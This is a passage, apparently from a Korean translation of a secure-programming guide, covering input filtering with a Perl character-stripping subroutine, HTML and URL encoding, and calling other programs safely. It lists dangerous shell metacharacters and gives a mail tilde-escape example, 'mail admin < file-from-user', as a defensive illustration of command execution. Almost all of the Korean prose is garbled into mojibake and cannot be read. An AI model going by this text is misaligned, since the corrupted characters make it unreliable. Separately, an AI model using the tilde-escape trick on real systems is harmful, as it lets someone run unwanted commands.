±×·¯³ª ½ÇÁ¦ °¡Àå ÀûÀº ¼öÀÇ ¹®ÀÚ¸¸À» Á¦°ÅÇÏ±æ ¿øÇÑ´Ù¸é ´ÜÁö ÀÌ·¯ÇÑ ¹®Àڵ鸸À» Á¦°ÅÇϱâ À§ÇÑ ¼­ºê·çƾÀ» »ý¼ºÇÒ ¼ö ÀÖ´Ù.

 sub remove_special_chars {
  local($s) = @_;
  $s =~ s/[\<\>\"\'\%\;\(\)\&\+]//g;
  return $s;
 }
 # Sample use:
 $data = &remove_special_chars($data);

6.13.2.3. ÀÎÄÚµù

Ưº° ¹®ÀÚ¸¦ Á¦°ÅÇϱâ À§ÇÑ ´ë¾ÈÀº ¾î¶°ÇÑ Æ¯º°ÇÑ Àǹ̵µ °®Áö ¾Êµµ·Ï À̵éÀ» ÀÎÄÚµùÇÏ´Â °ÍÀÌ´Ù. ÀÌ´Â ¹®ÀÚ¸¦ ÇÊÅ͸µÇÏ´Â °Í¿¡ ´ëÇØ ÀåÁ¡À» °®´Âµ¥ ƯÈ÷ µ¥ÀÌŸ ¼Õ½ÇÀ» ¿¹¹æÇÑ´Ù´Â °ÍÀÌ´Ù. µ¥ÀÌŸ°¡ »ç¿ëÀÚ °üÁ¡¿¡¼­ º¸¾ÒÀ» ¶§ 󸮿¡ ÀÇÇØ ¾û¸ÁÀ¸·Î µÇ¸é Àû¾îµµ ÀÎÄÚµùÀ» ÀÌ¿ëÇØ ¿ø·¡ º¸³»Á³´ø µ¥ÀÌŸ¸¦ À籸ÃàÇÏ´Â °ÍÀÌ °¡´ÉÇÏ´Ù.

HTML, XML °ú SGML Àº ¸ðµÎ ·¯´× ÅØ½ºÆ®¿¡ ÀÎÄÚµùÀ» µµÀÔÇϱâ À§ÇÑ ¹æ½ÄÀ¸·Î & ¸¦ »ç¿ëÇÑ´Ù; ÀÌ·¯ÇÑ ÀÎÄÚµùÀ» HTML ÀÎÄÚµùÀ̶ó°í ºÎ¸¥´Ù. ÀÌ·¯ÇÑ ¹®ÀÚ¸¦ ÀÎÄÚµåÇϱâ À§Çؼ­´Â ´Ü¼øÈ÷ »óȲ¿¡ ¸Â°Ô Ưº° ¹®ÀÚ¸¦ º¯È¯Çضó. º¸Åë ÀÌ´Â '<', '>', '&' ¿Í '"" °¡ °¢°¢ '&lt;', '&gt;', '&amp;' ¿Í '&quot;' ·Î º¯È¯µÈ´Ù. À§¿¡ ¾ð±ÞÇßµíÀÌ À̷лó '>' °¡ ÀοëµÉ Çʿ䰡 ¾øÀ½¿¡µµ ºÒ±¸ÇÏ°í ¾î¶² ºê¶ó¿ìÀú°¡ À̸¦ µû¸£±â ¶§¹®¿¡ ('<' À» ä¿ì±â ¶§¹®¿¡) ÀοëµÉ Çʿ䰡 ÀÖ´Ù. ÀÌÁß ÀÎ¿ë ºÎÈ£¿Í °ü·ÃÇØ¼­´Â ¾à°£ÀÇ »ç¼ÒÇÑ º¹À⼺ÀÌ ÀÖ´Ù. '&quot;' ´Â ¼Ó¼º³»¿¡¼­¸¸ »ç¿ëµÉ Çʿ䰡 ÀÖ°í ¾î¶² ¿À·¡µÈ ºê¶ó¿ìÀú´Â À̸¦ ÀûÀýÈ÷ ÇÏÁö ¸øÇϱ⠶§¹®ÀÌ´Ù. Ãß°¡ÀûÀÎ º¹À⼺À» ´Ù·ê ¼ö ÀÖ´Ù¸é ´ÜÁö ÇÊ¿äÇÒ ¶§¸¸ '"' ¸¦ ÀÎÄÚµåÇÏ·Á°í ÇÒ ¼ö ÀÖÁö¸¸ ´Ü¼øÈ÷ À̸¦ ÀÎÄÚµåÇÏ°í »ç¿ëÀÚ¿¡°Ô ±×µéÀÇ ºê¶ó¿ìÀú¸¦ °»½ÅÇ϶ó°í ¿äûÇÏ´Â °ÍÀÌ ´õ¿í ½±´Ù.

HTML ÀÎÄÚµù¿¡ ´ëÇÑ ÀÌ Á¢±Ù ¹æ¹ýÀº ¾î¶² »óȲ¿¡¼­ ÃæºÐÇÑ ÀÎÄÚµùÀÌ ¾Æ´Ï´Ù. 8.5절 ¿¡¼­ ³íÀǵǵíÀÌ Ãâ·Â ¹®ÀÚ ÀÎÄÚµù ("charset") À» ÁöÁ¤ÇÒ Çʿ䰡 ÀÖ´Ù. µ¥ÀÌŸ ÀϺΰ¡ Ãâ·Â ¹®ÀÚ ÀÎÄÚµù¿ÜÀÇ ´Ù¸¥ ¹®ÀÚ ÀÎÄÚµùÀ» ÀÌ¿ëÇØ ÀÎÄÚµåµÈ´Ù¸é Ãâ·ÂÀÌ Àϰü¼ºÀÖ°í Á¤È®ÇÑ ÀÎÄÚµùÀ» »ç¿ëÇϵµ·Ï ¹«¾ð°¡¸¦ ÇØ¾ßÇÒ °ÍÀÌ´Ù. ¶ÇÇÑ ISO-8859-1 ¿ÜÀÇ Ãâ·Â ÀÎÄÚµùÀ» ¼±ÅÃÇß´Ù¸é "<" ¿Í °°Àº Ưº° ¹®ÀÚ¿¡ ´ëÇÑ ¸ðµç ´ë¾È ÀÎÄÚµùÀÌ ºê¶ó¿ìÀú·Î ½½Â½ ³ÖÀ» ¼ö ¾øÀ½À» È®ÀÎÇÒ Çʿ䰡 ÀÖ´Ù. ÀÌ´Â UTF-7 °ú UTF-8 °ú °°ÀÌ ³Î¸® ¾²ÀÌ´Â ¸î¸î ¹®ÀÚ ÀÎÄÚµù°ú °ü·ÃµÈ ¹®Á¦ÀÌ´Ù; ´ë¾È ¹®ÀÚ ÀÎÄÚµù ¿¹¹æ ¹æ¹ý¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 4.8절 À» º¸¶ó. ºñȣȯ ¹®ÀÚ ÀÎÄÚµùÀ» ´Ù·ç´Â ÇѰ¡Áö ¹æ¹ýÀº ¹®ÀÚ¸¦ ³»ºÎÀûÀ¸·Î ISO 10646 (À¯´ÏÄÚµå¿Í µ¿ÀÏ ¹®ÀÚ °ªÀ» °®´Â´Ù) À¸·Î ¿ì¼± º¯È¯½ÃŲ ÈÄ À̵éÀ» ³ªÅ¸³»±â À§ÇØ ¼öÄ¡ (numeric) ¹®ÀÚ ÂüÁ¶ ¶Ç´Â ¹®ÀÚ ¿£Æ¼Æ¼ ÂüÁ¶¸¦ »ç¿ëÇÏ´Â °ÍÀÌ´Ù.

  • ¼öÄ¡ ¹®ÀÚ ÂüÁ¶´Â "&#D;" ¶Ç´Â "&#xH;" ¶Ç´Â "&#XH" ¿Í °°ÀÌ º¸ÀδÙ. D ´Â ½ÊÁø¼ö, H ´Â ½ÊÀ°Áø¼öÀÌ´Ù. ÁÖ¾îÁø ¼ö´Â ISO 10646 ¹®ÀÚ id ·Î À¯´ÏÄÚµå¿Í µ¿ÀÏÇÑ ¹®ÀÚ °ªÀ» °®´Â´Ù. µû¶ó¼­ &#1048 Àº Cyrillic ´ë¹®ÀÚ "I" ÀÌ´Ù. ½ÊÀ°Áø¹ý ½Ã½ºÅÛÀº SGML Ç¥ÁØ (ISO 8879) ¿¡¼­ Áö¿øµÇÁö ¾Ê´Âµ¥ µû¶ó¼­ ÀúÀÚ´Â Ãâ·Â¿¡ ½ÊÁø¹ý ½Ã½ºÅÛÀ» »ç¿ëÇϱ⸦ Á¦¾ÈÇÑ´Ù. ¶ÇÇÑ SGML ½ºÆåÀÌ ¸¶Áö¸· ¼¼¹ÌÄÝ·ÐÀÌ ¾î¶² »óȲ¿¡¼­ »ý·«µÇ´Â °ÍÀ» Çã¿ëÇÔ¿¡µµ ºÒ±¸ÇÏ°í ½ÇÁ¦·Î ¸¹Àº ½Ã½ºÅÛÀº À̸¦ ´Ù·çÁö ¸øÇÑ´Ù - ±×·¡¼­ ¸¶Áö¸· ¼¼¹ÌÄÝ·ÐÀ» ´Ã Æ÷ÇÔÇØ¶ó.

  • ¹®ÀÚ ¿£Æ¼Æ¼ ÂüÁ¶´Â µ¿ÀÏÇÏÁö¸¸ ¼ýÀÚ ´ë½Å ÀÇ»ç ±âÈ£ (mnemonic) À̸§À» »ç¿ëÇÑ´Ù. ¿¹¸¦ µé¾î "&lt;" ´Â < ±âÈ£¸¦ ³ªÅ¸³½´Ù. HTML À» »ý¼ºÇÑ´Ù¸é ¸ðµç ÀÇ»ç ±âÈ£ À̸§À» ¿­°ÅÇϰí ÀÖ´Â HTML ½ºÆå À» º¸¶ó.

¼ýÀÚ ¶Ç´Â ¹®ÀÚ ¿£Æ¼Æ¼´Â ÀÛµ¿ÇÑ´Ù; ÀúÀÚ´Â '<', '>', '&' ¿Í '"' ¿¡ ´ëÇØ ¹®ÀÚ ¿£Æ¼Æ¼ ÂüÁ¶¸¦ »ç¿ëÇϱ⸦ Á¦¾ÈÇϴµ¥ ÀÌ´Â Äڵ尡 »ç¶÷µéÀÌ ÀÌÇØÇϱ⠽±±â ¶§¹®ÀÌ´Ù. ±×¿Ü¿¡´Â µÑÁßÀÇ ¾î¶² ½Ã½ºÅÛÀÌ ´õ¿í ÁÁÀºÁö´Â ¸í¹éÇÏÁö ¾Ê´Ù. ÃßÈÄ »ç¶÷ÀÌ Á÷Á¢ Ãâ·ÂÀ» ÆíÁýÇÑ´Ù°í Çϸé ÇÒ ¼ö ÀÖ´Â ÇÑ ¹®ÀÚ ¿£Æ¼Æ¼ ÂüÁ¶¸¦ »ç¿ëÇØ¶ó ±×·¸Áö ¾Ê´Ù¸é ÀúÀÚ´Â ÇÁ·Î±×·¡¹ÖÇϱ⠽¬¿î ½ÊÁø¹ý ¼öÄ¡ ¹®ÀÚ ÂüÁ¶¸¦ »ç¿ëÇÑ´Ù. ÀÌ·¯ÇÑ ÀÎÄÚµù ½Ã½ºÅÛÀº ƯÈ÷ ¾Æ½Ã¾Æ±Ç ¾ð¾î¿¡ ´ëÇØ ¸Å¿ì ºñÈ¿À²ÀûÀÌ´Ù; À̰ÍÀÌ ¿ì¼± °ü½É»ç¶ó¸é ´Ù¸¥ ¹®ÀÚ ÀÎÄÚµù (charset) À» »ç¿ëÇϰųª Áß¿äÇÑ ¹®ÀÚ¸¦ ÇÊÅ͸µÇϰųª Áß¿äÇÑ ¹®ÀÚ¿¡ ´ëÇØ ¾î¶² ´ëü ÀÎÄÚµùµµ Çã¿ëµÇÁö ¾Ê´ÂÁö È®ÀÎÇÏ°í ½ÍÀ» °ÍÀÌ´Ù.

URI ´Â URL ÀÎÄÚµùÀ̶ó°í ÇÏ´Â ÀڽŸ¸ÀÇ ÀÎÄÚµù ½ºÅ´À» °®°í ÀÖ´Ù. ÀÌ·¯ÇÑ ½Ã½ºÅÛ¿¡¼­ URL ¿¡ Çã¿ëµÇÁö ¾ÊÀº ¹®ÀÚ´Â ÆÛ¼¾Æ®±âÈ£¿Í two-digit ½ÊÀ°Áø¼ö°ªÀ¸·Î Ç¥ÇöµÈ´Ù. ISO 10646 (Unicode) ÀÇ ¸ðµç °ÍÀ» ´Ù·ç±â À§Çؼ­´Â ¿ì¼± Äڵ带 UTF-8 ·Î º¯È¯ÇÑ ÈÄ À̸¦ ÀÎÄÚµåÇϱ⸦ ÃßõÇÑ´Ù. À¯È¿ÇÑ URI ¿¡ ´ëÇØ¼­´Â 4.10.4절 ¸¦ º¸¶ó.


6.14. µ¥ÀÌŸ ŸÀÔ¿¡ ÁÖÀÇÇØ¶ó

»ç¿ëµÈ µ¥ÀÌŸ ŸÀÔ¿¡ ÁÖÀÇÇØ¶ó. ƯÈ÷ ÀÎÅÍÆäÀ̽º¿¡¼­ »ç¿ëµÈ µ¥ÀÌŸ ŸÀÔ¿¡ ÁÖÀÇÇØ¾ß Çϴµ¥ ¿¹¸¦ µé¾î "signed" ¿Í "unsigned" °ªµéÀº C ¶Ç´Â C++ °ú °°Àº ¸¹Àº ¾ð¾îµé¿¡¼­ ´Ù¸£°Ô 󸮵ȴÙ.


7장. ´Ù¸¥ ÀÚ¿øÀ» ÁÖÀDZí°Ô È£ÃâÇØ¶ó

 

Do not put your trust in princes, in mortal men, who cannot save.

 Psalms 146:3 (NIV)

»ç½Ç»ó Á¤È®È÷ µ¶¸³ÀûÀÎ ÇÁ·Î±×·¥Àº ¾ø´Ù; °ÅÀÇ ¸ðµç ÇÁ·Î±×·¥µéÀº ¿î¿µ üÁ¦°¡ Á¦°øÇÏ´Â ÇÁ·Î±×·¥, ¼ÒÇÁÆ®¿þ¾î ¶óÀ̺귯¸® µî°ú °°Àº ÀÚ¿ø¿¡ ´ëÇØ ´Ù¸¥ ÇÁ·Î±×·¥À» È£ÃâÇÑ´Ù. ¶§¶§ ´Ù¸¥ ÀÚ¿ø¿¡ ´ëÇÑ ÀÌ È£ÃâÀº ¸í¹éÇÏÁö ¾Ê°Å³ª ¶Ç´Â ÀÇÁ¸ÇØ¾ß ÇÏ´Â ¸¹Àº ¼û°ÜÁø ÀÎÇÁ¶ó (¿¹, µ¿Àû ¶óÀ̺귯¸®¸¦ ±¸ÇöÇϱâ À§ÇÑ ¸ÞÄ«´ÏÁò) ¸¦ Æ÷ÇÔÇϰí ÀÖ´Ù. ºÐ¸íÈ÷ ÇÁ·Î±×·¥ÀÌ ¾î¶² ´Ù¸¥ ÀÚ¿øÀ» ½Å·ÚÇØ¾ß ÇÏ´ÂÁö¿¡ ´ëÇØ ÁÖÀÇÇØ¾ß ÇÏ¸ç ¹Ýµå½Ã ±×µé¿¡ ¿äûÀ» º¸³»¾ß ÇÑ´Ù.


7.1. ¾ÈÀüÇÑ ¶óÀ̺귯¸® ·çƾ¸¸ È£ÃâÇØ¶ó

¶§¶§·Î º¸¾È°ú Ãß»óÈ­ (Á¤º¸ ¼û±â±â, Information Hiding) ¹× Àç»ç¿ëÀÇ °³¹ß ¿ø¸®µé°£¿¡´Â ¸ð¼øÀÌ Á¸ÀçÇÑ´Ù. ¹®Á¦´Â ¾î¶² °í¼öÁØ ¶óÀ̺귯¸® ·çƾµéÀÌ º¸¾ÈÀûÀ¸·Î ±¸ÇöµÉ ¼ö ÀÖ´Â Áö ¶Ç´Â ¾Æ´ÑÁö·Î À̵éÀÇ ½ºÆåÀ» ÅëÇØ ¾Ë ¼ö´Â ¾øÀ» °ÍÀÌ´Ù. ƯÁ¤ ±¸ÇöÀÌ º¸¾ÈÀûÀ̶ó ÇÒÁö¶óµµ ·çƾÀÇ ´Ù¸¥ ¹öÀüÀÌ º¸¾ÈÀûÀÎÁö ¶Ç´Â µ¿ÀÏÇÑ ÀÎÅÍÆäÀ̽º°¡ ´Ù¸¥ Ç÷§Æû¿¡¼­ º¸¾ÈÀûÀÎ °ÍÀÎÁö¸¦ º¸ÁõÇÏ´Â °ÍÀº ºÒ°¡´ÉÇÒ ¼öµµ ÀÖ´Ù.

°á±¹ ¾ÖÇø®ÄÉÀ̼ÇÀÌ º¸¾ÈÀûÀ̾î¾ß ÇÑ´Ù¸é ¶§¶§·Î °¢ÀÚÀÇ ¶óÀ̺귯¸® ·çƾµéÀ» À籸ÇöÇØ¾ß ÇÑ´Ù. ±âº»ÀûÀ¸·Î ¶óÀ̺귯¸® ·çƾµéÀÌ º¸¾È¿¡ ¿ä±¸µÇ´Â ÇÊ¿äÇÑ µ¿ÀÛÀ» ¼öÇàÇÒ °ÍÀ̶ó°í È®½ÅÇÒ ¼ö ¾ø´Ù¸é ·çƾµéÀ» À籸ÇöÇØ¾ß ÇÑ´Ù. ´õ±¸³ª ¾î¶² °æ¿ì ¶óÀ̺귯¸®ÀÇ ±¸ÇöÀº ¼öÁ¤µÇ¾î¾ß Çϴµ¥ º¸¾È¿¡ Ãë¾àÇÑ ¶óÀ̺귯¸® ·çƾÀ» ¼±ÅÃÇÑ´Ù¸é ¼ÕÇØ¸¦ ÀÔÀ» ¼ö ÀÖ´Â »ç¶÷Àº »ç¿ëÀÚµéÀÌ´Ù. ÇÒ ¼ö ÀÖ´Ù¸é ¹«¾ùÀΰ¡¸¦ À籸ÇöÇØ¾ß ÇÒ ¶§´Â °í¼öÁØ ÀÎÅÍÆäÀ̽º¸¦ »ç¿ëÇÏ·Á°í ³ë·ÂÇØ¶ó - ÀÌ·¸°Ô ÇÔÀ¸·Î½á ±× »ç¿ëÀÌ º¸¾ÈÀûÀÎ ½Ã½ºÅÛ¿¡¼­ °í¼öÁØ ÀÎÅÍÆäÀ̽º·Î ÀüȯÇÒ ¼ö ÀÖ´Ù.

ÇÒ ¼ö ÀÖ´Ù¸é ·çÆ¾ÀÌ º¸¾ÈÀûÀÎÁö ¶Ç´Â ±×·¸Áö ¾ÊÀº Áö¸¦ º¸±âÀ§ÇØ °Ë»çÇÏ°í º¸¾ÈÀûÀ̶ó¸é À̸¦ »ç¿ëÇØ¶ó - ¿øÄ¢ÀûÀ¸·Î´Â ÄÄÆÄÀÏ ¶Ç´Â ¼³Ä¡ÀÇ ÇÑ ºÎºÐÀ¸·Î ÀÌ °Ë»ç¸¦ ¼öÇàÇÒ ¼ö ÀÖ´Ù (¿¹, "autoconf" ½ºÅ©¸³Æ®ÀÇ ÇѺκÐÀ¸·Î). ¾î¶² Á¶°Ç¿¡¼­´Â ÀÌ·¯ÇÑ Á¾·ùÀÇ ·±Å¸ÀÓ °Ë»ç°¡ ºñÇö½ÇÀûÀÌÁö¸¸ ´Ù¸¥ Á¶°Ç¿¡¼­´Â ¸¹Àº ¹®Á¦µéÀ» Á¦°ÅÇÒ ¼ö ÀÖ´Ù. ¶óÀ̺귯¸®¸¦ À籸ÇöÇÏÁö ¾Ê´Â´Ù¸é ÃÖ¼ÒÇÑ ¾ÈÀüÇÑÁö È®ÀÎÇÏ°í ±×·¸Áö ¾Ê´Ù¸é ¼³Ä¡¸¦ ÁßÁöÇØ¶ó. ÀÌ·¸°Ô ÇÔÀ¸·Î½á »ç¿ëÀÚ°¡ ¶æÇÏÁö ¾Ê°Ô ºñº¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ¼³Ä¡ÇÏÁö ¾ÊÀ» °ÍÀÌ¸ç ¹®Á¦°¡ ¹«¾ùÀÎÁö¸¦ ¾Ë °ÍÀÌ´Ù.


7.2. È£ÃâÀ» ÇÕ´çÇÑ °ªÀ¸·Î Á¦ÇÑÇØ¶ó

¹Ýµå½Ã ¸ðµç ´Ù¸¥ ÇÁ·Î±×·¥¿¡ ´ëÇÑ È£ÃâÀÌ ¸ðµç ¸Å°³º¯¼ö¿¡ ´ëÇØ Ÿ´çÇÏ°í ¿¹»óÇÑ °ªµé¸¸À» Çã¿ëÇÏ°Ô ÇØ¶ó. ÀÌ´Â ¸¹Àº ¶óÀ̺귯¸® È£Ãâµé ¶Ç´Â ¸í·ÉµéÀÌ ÀáÀçÀûÀ¸·Î ¿¹±âÄ¡ ¾ÊÀº ¹æ½ÄÀ¸·Î ´õ¿í Àú¼öÁØ ·çƾµéÀ» È£ÃâÇϱ⠶§¹®¿¡ »ý°¢°ú´Â ´Þ¸® ´õ¿í ¾î·Æ´Ù. ¿¹¸¦ µé¾î, popen(3) °ú system(3) °ú °°Àº ¸î¸î ½Ã½ºÅÛ È£ÃâµéÀº ¸í·É ½©À» È£ÃâÇÔÀ¸·Î½á ±¸ÇöµÇ´Âµ¥ ÀÌ´Â ½© ¸ÞŸ¹®Àڵ鿡 ÀÇÇØ ¿µÇâÀ» ¹ÞÀ» °ÍÀÓÀ» ÀǹÌÇÑ´Ù. ºñ½ÁÇÏ°Ô execlp(3) °ú execvp(3) µé¶§¹®¿¡ ½©ÀÌ È£ÃâµÉ ¼öµµ ÀÖ´Ù. ¸¹Àº ÁöħµéÀº ÇÁ·Î¼¼½º¸¦ »ý¼º½ÃŰ·Á°í ÇÒ ¶§´Â popen(3), system(3), execlp(3) °ú execvp(3) µéÀ» ÀüºÎ ÇÇÇϰí C ¿¡¼­ execve(3) À» Á÷Á¢ÀûÀ¸·Î »ç¿ëÇ϶ó°í Á¦¾ÈÇϰí ÀÖ´Ù [Galvin 1998b]. Àû¾îµµ execve(3) À» »ç¿ëÇÒ ¼ö ÀÖÀ» ¶§´Â system(3) ¸¦ »ç¿ëÇÏ´Â °ÍÀ» ÇÇÇØ¶ó; system(3) Àº ¹®ÀÚµéÀ» Àü°³Çϱâ À§ÇØ ½©À» »ç¿ëÇϱ⠶§¹®¿¡ ÀÌ´Â ´õ¿í ¸¹Àº ¾Ç¿µÇâÀ» ³¢Ä¥ ±âȸ°¡ ÀÖ´Ù. ºñ½ÁÇÑ ¹æ½ÄÀ¸·Î ÆÞ°ú ½©ÀÇ backtick (`) ¶ÇÇÑ ¸í·É½©À» È£ÃâÇÑ´Ù; ÆÞ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 9.2절 À» º¸¶ó.

½© ¸ÞŸ¹®ÀÚµéÀº ÀÌ ¹®Á¦µé Áß °¡Àå ´Ù·ç±â Èûµç ¿¹µéÁßÀÇ Çϳª·Î Ç¥ÁØ À¯´Ð½º °è¿­ ¸í·É½© (/bin/sh ¿¡ ÀúÀåµÈ) Àº ¸¹Àº ¹®ÀÚµéÀ» Ưº°È÷ ÇØ¼®ÇÑ´Ù. ÀÌ·¯ÇÑ ¹®ÀÚµéÀÌ ½©·Î º¸³»Áö¸é À̵éÀÇ Æ¯º°ÇÑ ÇØ¼®ÀÌ À̽ºÄÉÀÌÇÁµÇÁö ¾Ê´Â´Ù¸é »ç¿ëµÉ °ÍÀÌ´Ù; ÀÌ »ç½ÇÀÌ ÇÁ·Î±×·¥À» ÆÄ±«Çϴµ¥ »ç¿ëµÉ ¼ö ÀÖ´Ù. WWW º¸¾È FAQ [Stein 1999, Q37] ¿¡ µû¸£¸é ÀÌ·¯ÇÑ ¹®ÀÚµéÀº ´ÙÀ½°ú °°´Ù:

& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r

¸¹Àº »óȲ¿¡ ÀÖ¾î Åǰú °ø¹é ¹®ÀÚµéÀ» À̽ºÄÉÀÌÇÁÇÏ±æ ¿øÇÒ °ÍÀ̶ó°í ÀúÀÚ´Â ¾ð±ÞÇØ¾ß Çϴµ¥ ¿Ö³ÄÇϸé À̵é (°ú °³Çà) Àº µðÆúÆ® ¸Å°³º¯¼ö ºÐ¸®ÀÚµéÀ̱⠶§¹®ÀÌ´Ù. ºÐ¸®ÀÚ °ªµéÀº IFS ȯ°æ º¯¼ö¸¦ ¼³Á¤ÇÔÀ¸·Î½á º¯°æµÉ ¼ö ÀÖÁö¸¸ ÀÌ º¯¼öÀÇ Ãâó¸¦ ¹ÏÀ» ¼ö ¾ø´Ù¸é À̸¦ ¹ö¸®°Å³ª ¾î·µç ȯ°æ º¯¼ö ó¸®ÀÇ ÀϺκÐÀ¸·Î Àç¼³Á¤ÇØ¾ß ÇÑ´Ù.

ºÒÇàÈ÷µµ ½ÇÁ¦ ÀÌ´Â ¿ÏÀüÇÑ ¸ñ·ÏÀÌ ¾Æ´Ï¸ç ´ÙÀ½Àº ¹®Á¦°¡ ÀÖÀ» ¼ö ÀÖ´Â ¾à°£ÀÇ ´Ù¸¥ ¹®ÀÚµéÀÌ´Ù:

  • '!' ´Â C ¿¡¼­¿Í °°ÀÌ Ç¥Çö¿¡¼­ "not" À» ÀǹÌÇÑ´Ù; ÇÁ·Î±×·¥ÀÇ ¹Ýȯ°ªÀÌ °Ë»çµÈ´Ù¸é ! ¸¦ ¾Õ¿¡ ºÙÀÌ´Â °ÍÀº ½ºÅ©¸³Æ®¸¦ ¼Ó¿©¼­ ¹«¾ùÀÌ ¼º°øÇßÀ» ¶§ À̰ÍÀÌ ½ÇÆÐÇß´Ù¶ó°í »ý°¢ÇÏ°Ô ÇÒ ¼ö ÀÖÀ¸¸ç ¹Ý´ëÀÇ °æ¿ìµµ ¸¶Âù°¡ÁöÀÌ´Ù. ¾î¶² ½©¿¡¼­´Â "!" ´Â ¶ÇÇÑ ¸í·É¾î È÷½ºÅ丮¸¦ Á¢±ÙÇϸç ÀÌ´Â ½ÇÁ¦ ¹®Á¦¸¦ ÀÏÀ¸Å³ ¼ö ÀÖ´Ù. bash ¿¡¼­ ÀÌ´Â ´ëÈ­½Ä ¸ðµå¿¡¼­¸¸ ÀϾÁö¸¸ tcsh (¾î¶² ¸®´ª½º ¹èÆ÷ÆÇ¿¡¼­ ¹ß°ßµÇ´Â csh Ŭ·Ð) ´Â ½ºÅ©¸³Æ®¿¡¼­µµ "!" ¸¦ »ç¿ëÇÑ´Ù.

  • '#' ´Â ÁÖ¼® ¹®ÀÚ·Î °°Àº ¶óÀο¡¼­ µÚ¿¡ ¿À´Â ¸ðµç ÅØ½ºÆ®´Â ¹«½ÃµÈ´Ù.

  • '-' ´Â ¿É¼ÇÀÇ Ã¹¸Ó¸®¿¡ ÀÖÀ½À¸·Î½á À߸ø ÇØ¼®µÉ ¼ö ÀÖ´Ù (¶Ç´Â -- ¿Í °°ÀÌ ¸ðµç µÚ¿¡ ¿À´Â ¿É¼ÇÀ» ±ÝÁöÇÑ´Ù). À̰ÍÀÌ ÆÄÀÏ À̸§ÀÇ Áß°£¿¡ ÀÖ´Ù ÇÏ´õ¶óµµ ½©ÀÌ whitespace ·Î °í·ÁÇÏ´Â °Í µÚ¿¡ ¿Â´Ù¸é ¹®Á¦°¡ ¹ß»ýµÉ ¼öµµ ÀÖ´Ù.

  • ' ' (½ºÆäÀ̽º), '\t' (ÅÇ), '\n' (°³Çà), '\r' (¸®ÅÏ), '\v' (¼öÁ÷½ºÆäÀ̽º), '\f' (Æû Çǵå) ¿Í ´Ù¸¥ whitespace ¹®ÀÚµéÀº ``ÇϳªÀÇ" ÆÄÀÏ À̸§À» ´ÙÁß Àμöµé·Î ¹Ù²Ü ¼öµµ ÀÖ´Ù.

  • ´Ù¸¥ Á¦¾î ¹®ÀÚµé (ƯÈ÷ NIL) Àº ¾î¶² ½© µµ±¸µé¿¡ ´ëÇØ ¹®Á¦¸¦ ÀÏÀ¸Å³ ¼öµµ ÀÖ´Ù.

  • »ç¿ë¿¡ µû¶ó "." ("ÇöÀç ½©¿¡¼­ ½ÇÇà"ÀÇ ÀǹÌ) °ú "=" (º¯¼ö ¼³Á¤½Ã ÇÊ¿ä) ´Â ±ÍÂúÀº ¹®ÀÚµéÀÏ ¼öµµ ÀÖ´Ù°í »ý°¢ÇÒ ¼öµµ ÀÖ´Ù. ±×·¯³ª ÀúÀÚ°¡ Áö±Ý±îÁö À̵éÀÌ ¹®Á¦°¡ µÈ °æ¿ì¿¡ ´ëÇØ ¹ß°ßÇÑ ¸ðµç ¿¹´Â ´Ù¸¥ (´õ¿í ¾ÈÁÁÀº) º¸¾È ¹®Á¦¸¦ °®°í ÀÖ´Ù.

ÀÌ·¯ÇÑ ¹®ÀÚµéÁß ÇѰ³¶óµµ Àش´ٸé Àç³­À» ÃÊ·¡ÇÒ ¼öµµ Àִµ¥ ¿¹¸¦ µé¾î ¸¹Àº ÇÁ·Î±×·¥µéÀº ¹é½½·¡½¬¸¦ ¸ÞŸ¹®Àڷμ­ »ý·«ÇÑ´Ù [rfp 1999]. 4장 ¿¡ ³íÀǵǾúµíÀÌ ´©±º°¡¿¡ ÀÇÇØ ÃßõµÇ´Â Á¢±Ù ¹æ¹ýÀº Àû¾îµµ ÀÌ·¯ÇÑ ¹®ÀÚµéÀÌ ÀÔ·ÂÀÏ ¶§ ¸ðµç ¹®ÀÚ¸¦ Áï°¢ÀûÀ¸·Î À̽ºÄÉÀÌÇÁÇÏ´Â °ÍÀÌ´Ù. ±×·¯³ª ´õ¿í ÃÖ¼±ÀÇ Á¢±Ù ¹æ¹ýÀº ¾î¶² ¹®ÀÚµéÀ» Çã¿ëÇÏ±æ ¹Ù¶ó´ÂÁö ½Äº°ÇÏ¿© ´ÜÁö ÀÌ·¯ÇÑ ¹®Àڵ鸸 Çã¿ëÇϵµ·Ï ÇÊÅ͸¦ »ç¿ëÇÏ´Â °ÍÀÌ´Ù.

¸¹Àº ÇÁ·Î±×·¥µé ƯÈ÷ ´ëÈ­½ÄÀ¸·Î ¼³°èµÈ ÇÁ·Î±×·¥µéÀº ``Ưº°ÇÑ" ±â´ÉÀ» ¼öÇàÇÏ´Â "escape" Äڵ带 °®°í ÀÖ´Ù. °¡Àå º¸ÆíÀûÀÎ (¶ÇÇÑ À§ÇèÇÑ) À̽ºÄÉÀÌÇÁ ÄÚµåÁßÀÇ Çϳª´Â ¸í·É ÇàÀ» ÃÊ·¡ÇÏ´Â °ÍÀÌ´Ù. ÀÌ·¯ÇÑ "escape" ¸í·ÉµéÀÌ Æ÷Ç﵃ ¼ö ¾øµµ·Ï È®ÀÎÇØ¶ó (ƯÁ¤ ¸í·ÉÀÌ ¾ÈÀüÇÏ´Ù°í È®½ÅÇÏÁö ¸øÇÑ´Ù¸é). ¿¹¸¦ µé¾î, ¸¹Àº ¶óÀÎ ÁöÇâ ¸ÞÀÏ ÇÁ·Î±×·¥ (mail °ú mailx °°Àº) µéÀº Æ¿µå (~) ¸¦ À̽ºÄÉÀÌÇÁ ¹®Àڷμ­ »ç¿ëÇϴµ¥ ÀÌ ¹®ÀÚ´Â ¸¹Àº ¸í·ÉÀ» º¸³»±â À§ÇØ »ç¿ëµÉ ¼ö ÀÖ´Ù. ±× °á°ú·Î "mail admin < file-from-user" ¿Í °°ÀÌ ¸í¹éÈ÷ ÇØ·ÓÁö ¾ÊÀº ¸í·ÉµéÀÌ ÀÓÀÇÀÇ ÇÁ·Î±×·¥µéÀ» ½ÇÇà½Ã۱â À§ÇØ »ç¿ëµÉ ¼ö ÀÖ´Ù. vi, emacs ¿Í ed ¿Í °°Àº ´ëÈ­½Ä ÇÁ·Î±×·¥µéÀº »ç¿ëÀÚµéÀÌ ±×µé ¼¼¼ÇÀ¸·ÎºÎÅÍ ÀÓÀÇÀÇ ½© ¸í·ÉµéÀ» 